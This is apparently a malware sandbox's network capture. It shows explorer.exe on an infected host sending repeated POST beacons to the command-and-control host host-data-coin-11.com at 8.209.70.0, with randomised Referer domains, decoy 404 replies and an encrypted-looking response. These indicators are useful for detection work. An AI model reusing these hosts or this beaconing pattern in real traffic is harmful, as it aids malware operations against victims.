User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 360
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:29.822489977 CET

6831 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:29 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 1e 49 3a 44 a6 e8 de ea e4 40 fd 
45 91 6e b8 57 5b 91 17 bf ec 31 e5 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 2cI:82OI:D@EnW[10

Session ID Source IP Source Port Destination IP Destination Port Process

37 192.168.2.5 49855 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:50.950217009 CET

12126 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://lbsaicb.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 222
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:51.068597078 CET

12126 IN HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:51 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

38 192.168.2.5 49856 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data
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Jan 14, 2022 
12:22:51.477324963 CET

12127 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://wfxwh.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 298
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:51.592575073 CET

12128 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:51 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

39 192.168.2.5 49857 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:51.701329947 CET

12129 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://fbxee.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 202
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:51.839397907 CET

12130 IN HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:51 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

4 192.168.2.5 49884 144.76.136.153 443 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

40 192.168.2.5 49858 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:52.319454908 CET

12131 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://bbjevbm.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 277
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:52.437750101 CET

12131 IN HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:52 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close
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Session ID Source IP Source Port Destination IP Destination Port Process

41 192.168.2.5 49859 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:52.587220907 CET

12132 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://dpmdlwn.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 295
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:52.713434935 CET

12133 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:52 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

42 192.168.2.5 49861 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:53.061213970 CET

12138 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://ygwjjwbql.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 162
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:53.179553032 CET

12139 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:53 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

43 192.168.2.5 49862 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data
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Jan 14, 2022 
12:22:53.287863016 CET

12140 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://iyxmen.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 309
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:53.405580997 CET

12141 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:53 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

44 192.168.2.5 49863 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:53.757806063 CET

12142 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://hmvnoyyn.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 199
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:53.877751112 CET

12143 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:53 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

45 192.168.2.5 49864 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:53.925081968 CET

12144 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://nnxqs.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 232
Host: host-data-coin-11.com
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Jan 14, 2022 
12:22:54.045775890 CET

12145 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:54 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

46 192.168.2.5 49866 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:54.402960062 CET

12146 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://pabidkfses.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 205
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:54.521699905 CET

12147 IN HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:54 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

47 192.168.2.5 49867 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:54.578202963 CET

12148 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://ntixvebkt.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 125
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:54.699187040 CET

12149 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:54 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
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Session ID Source IP Source Port Destination IP Destination Port Process

48 192.168.2.5 49868 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:54.753228903 CET

12150 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://ofkjexhj.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 339
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:54.876826048 CET

12151 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:54 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

49 192.168.2.5 49869 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:54.973722935 CET

12152 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://rjxnsim.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 297
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:55.093262911 CET

12152 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:55 GMT
Content-Type: text/html; charset=utf-8
